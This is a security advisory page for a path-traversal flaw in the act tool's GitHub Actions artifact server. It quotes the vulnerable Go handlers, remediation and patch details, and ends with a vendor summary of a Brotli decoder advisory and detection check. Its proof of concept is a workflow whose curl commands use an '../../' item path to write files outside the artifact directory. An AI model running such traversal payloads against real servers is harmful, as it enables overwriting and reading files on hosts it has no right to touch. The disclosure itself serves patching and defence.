CVE-2023-22726

EUVD-2023-0514 · Published Jan 20, 2023

act vulnerable to arbitrary file upload in artifact server

Impact

The artifact server that stores artifacts from Github Action runs does not sanitize path inputs. This allows an attacker to download and overwrite arbitrary files on the host from a Github Action. This issue may lead to privilege escalation.

Issue 1: Arbitrary file upload in artifact server (GHSL-2023-004)

The /upload endpoint is vulnerable to path traversal as filepath is user controlled, and ultimately flows into os.Mkdir and os.Open.

router.PUT("/upload/:runId", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
		itemPath := req.URL.Query().Get("itemPath")
		runID := params.ByName("runId")

		if req.Header.Get("Content-Encoding") == "gzip" {
			itemPath += gzipExtension
		}

		filePath := fmt.Sprintf("%s/%s", runID, itemPath)

Issue 2: Arbitrary file download in artifact server (GHSL-2023-004)

The /artifact endpoint is vulnerable to path traversal as the path is variable is user controlled, and the specified file is ultimately returned by the server.

router.GET("/artifact/*path", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
		path := params.ByName("path")[1:]

		file, err := fsys.Open(path)

Proof of Concept

Below I have written a Github Action that will upload secret.txt into the folder above the specified artifact directory. The first call to curl will create the directory named 1 if it does not already exist, and the second call to curl will upload the secret.txt file to the directory above the specified artifact directory.

When testing this POC, the --artifact-server-path parameter must be passed to act in order to enable the artifact server.
Replace yourIPandPort with the IP and port of the server. An attacker can enumerate /proc/net/tcp in order to find the artifact server IP and port, but this is out of the scope of this report. Please let me know if you would like a copy of this script.

name: CI
on: push

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
    - run: echo "Here are some secrets" > secret.txt
    - run: curl http://<yourIPandPort>/upload/1?itemPath=secret.txt --upload-file secret.txt
    - run: curl http://<yourIPandPort>/upload/1?itemPath=../../secret.txt --upload-file secret.txt

Remediation

During implementation of Open and OpenAtEnd for FS, please ensure to use ValidPath() to check against path traversal. See more here: https://pkg.go.dev/io/fs#FS
Clean the user-provided paths manually

Patches

Version 0.2.40 contains a patch.

Workarounds

Avoid use of artifact server with --artifact-server-path

Technologies

Act_Project ActNektos Act

Weaknesses

CWE-22CWE-434

CVSS scores

v3.18.8CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Initial Access Execution Stealth

T1190Exploit Public-Facing Application T1574.010Services File Permissions Weakness

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.